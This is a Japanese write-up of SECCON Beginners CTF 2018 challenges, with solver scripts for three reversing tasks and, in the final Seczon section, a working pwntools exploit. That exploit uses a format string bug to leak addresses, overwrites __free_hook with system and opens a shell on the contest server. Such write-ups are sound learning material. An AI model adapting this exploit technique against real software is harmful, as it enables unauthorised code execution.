SECCON Beginners CTF 2018 writeups

SECCON Beginners CTF 2018 writeups

一人チームsobaya009で出ました。
Web, Rev, Pwnだけ解きました。

RevのActivation, crackme, Message from the future, PwnのSeczonのwriteupを載せます。

Rev Activation

.NETフレームワークで出来たプログラム。 何かのデバイスからActivation Codeという文字列(フラグ)を当てる問題。

.NET デコンパイラで検索するとdnSpyというデコンパイラ兼デバッガがあるのがわかるのでこれを使う。

コンパイラの出力を眺めると入力文字列をAESで暗号化したものとファイル中の謎即値と文字列比較して一致すればActivation成功となることがわかる。 付属のデバッガを使って処理を追うと

BlockSize: 128
IV: CTF4B7E1CTF4B7E1
KEY: SECCON_BEGINNERS

で暗号化後のActivation CodeはE3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5だとわかったので復号する。 復号に使ったスクリプトは以下

from Crypto.Cipher import AES
import base64

iv = str.encode('CTF4B7E1CTF4B7E1')
key = str.encode('SECCON_BEGINNERS')
print('iv: %s, key: %s' % (iv, key))
cipher = base64.b64decode('E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5')

AES.block_size = 128
decoder = AES.new(key, AES.MODE_ECB, iv)
plain = decoder.decrypt(cipher)
print(plain)

出力

iv: b'CTF4B7E1CTF4B7E1', key: b'SECCON_BEGINNERS'
b'ae03c6f3f9c13e6ee678a92fc2e2dcc5\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

\x10はパディングぽいので無視して`ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}'とすると通った。

Rev crackme

key-genタスク。 入力文字を受け取って2パートに分かれて暗号化っぽいことをしていた。 前半、後半の処理でともに鍵っぽい数値と入力のn byte目をスタック上にある定数とxorをして比較していた。 求めるフラグもスタック上にある数値と本来入力文字に対してxorされる数値から復号可能なのでアセンブリを置いながらスクリプトを書く。

以下がそのスクリプト

g601048 = 0xff

ans = ''
b = [0x9c, 0x9e, 0x8c, 0x3e, 0x68, 0x64, 0x7b, 0x3f, 0x50, 0x63, 0xa, 0x7f, 0x55, 0x73, 0x1e, 0x64]
for i in range(0, 0x10, 4):
    ans += chr((0xff & g601048) ^ b[i])
    g601048 = g601048 ^ 0x15
    ans += chr((0xff & g601048) ^ b[i+1])
    g601048 = g601048 | 0x20
    ans += chr((0xff & g601048) ^ b[i+2])
    g601048 = g601048 & 0xf
    ans += chr((0xff & g601048) ^ b[i+3])


c = [0x3c, 0x55, 0x7b, 0x6e, 0x60, 0x5d, 0x34, 0x26, 0x26, 0x65, 0x6d, 0x37, 0x39, 0x79, 0x3f, 0x28]
for i in range(0, 0x10, 4):
    ans += chr(g601048 ^ c[i])
    g601048 = g601048 & 0xa
    ans += chr(g601048 ^ c[i+1])
    g601048 = g601048 // 3
    ans += chr(g601048 ^ c[i+2])
    g601048 = g601048 ^ 0x55
    ans += chr(g601048 ^ c[i+3])

print(ans)
$ python solve.py
ctf4b{D0_y0u_l!k3_x86_4ssembly?}

Rev Message from the future

時間を鍵とした暗号化処理見たいなことがされているバイナリ。

適当に実行してみると文字の長さに関係なく位置によって入力文字の変換後の値が変わっていることがわかる。

$ ./Message_from_the_future AAAA
6f78303d
./Message_from_the_future AAAAAAAAAAA 
6f78303d171b02212e634a
./Message_from_the_future BBBBAAAAAAA 
6c7b333e171b02212e634a

ptraceによるアンチデバッグ処理が行われいた。面倒だったので想像力を使うと時刻によって文字の変換結果が変わることがわかった。 つまり、問題バイナリの出力は時間と入力文字に依ることがわかる。

問題文の暗号文?はフラグ文字を入力したものだと思ったのでctfから始まって最初の3バイト文の暗号文が一致するものを探してプログラムが実行された日時を探す。 以下がそのスクリプト

import os
import sys

for m in range(1, 12):
    for d in range(0, 31):
        os.system('timedatectl set-time "2020-%02d-%02d 12:13:54"' % (m, d))
        s = os.popen('./Message_from_the_future ctf').read().strip()
        if s[:2*3] == '0f242e':
            print('timedatectl set-time "2020-%02d-%02d 12:13:54"' % (m, d))
            sys.exit(0)

日時がわかったら入力文字と出力の変換テーブルを作成して解を出力させる。

import os
msg = '0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759'
N = len(msg)
table = [[0] * 0x100 for i in range(N * 2)]
for c in map(chr, range(0x20, 0x7f)):
    s = os.popen('./Message_from_the_future \'%s\'' % (c * N)).read().strip()
    for i in range(0, len(s), 2):
        h = int('0x%s' % s[i:i+2], 16)
        table[i][h] = c

ans = []
for i in range(0, N, 2):
    h = int('0x%s' % msg[i:i+2], 16)
    if table[i][h] != 0:
        ans.append(table[i][h])

print(ans)
print(''.join(ans))

日時の検索をctfだけの結果から行ってしまったためかフラグの出力結果も部分が抜けたものが出来てしまったので勘で埋めて提出したら通った。日時の検索をctf4b{で6byte比較すると良いかもしれないと思った。

ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

Pwn Seczon

32bitのELFバイナリ。 initでヒープを確保してfiniでfreeしている。 commentの操作でFormat String Bugがあったのでそれを使ってASLRを無効化する。 exitを実行するとfreeが実行され、freeされるポインタを文字列と見なすと最初にAddを実行したときの名前の文字列が渡される事になる。 なので__free_hooksystemのアドレスに書き換えてexitを呼ぶとシェルが起動出来る。

from pwn import *

context.terminal = 'screen'
binary = './seczon'
libcName = './libc-2.23.so'
# p = process(binary, aslr=False)
# p = process(binary, env={'LD_PRELOAD': libcName})
p = remote('pwn1.chall.beginners.seccon.jp', 21735)
elf = ELF(binary, False)
libc = ELF(libcName, False)
# gdb.attach(p)

prompt = '>>'
promptId = 'Choose item ID'

def add(name):
    p.sendlineafter(prompt, '1')
    p.sendlineafter(prompt, name)

def comment(index, c):
    p.sendlineafter(prompt, '2')
    p.sendlineafter(promptId, str(index))
    p.sendlineafter(prompt, c)
    p.recvuntil('Confirmation\n')
    p.recvuntil('\n')
    s = p.recvuntil('\n')[:-1]
    return s

add('/bin/sh')
exeBase = int('0x' + comment(0, '%3$x'), 16) - 0xcad
stdout = exeBase + elf.symbols['stdout']
log.info('exeBase: %s' % hex(exeBase))
log.info('stdout: %s' % hex(stdout))

payload = '???'
payload += p32(stdout)
payload += '_%7$s'
print 'payload: %s' % payload
s = comment(0, payload)
s =  s.split('_')[-1].ljust(4, '\0')
libcBase = u32(s) - 0x1b2d60

_free_hook = libcBase + libc.symbols['__free_hook']
system = libcBase + libc.symbols['system']

log.info('libcBase: %s' % hex(libcBase))
log.info('__free_hook: %s' % hex(_free_hook))
log.info('system: %s' % hex(system))

for i in range(4):
    n = 0xff & (system >> (8 * i))
    payload = ''
    payload += '???'
    payload += p32(_free_hook + i)
    payload += '%%%dc' % (n - 7)
    payload += '%7$n'
    comment(0, payload)

p.sendlineafter(prompt, 'AA')
p.interactive()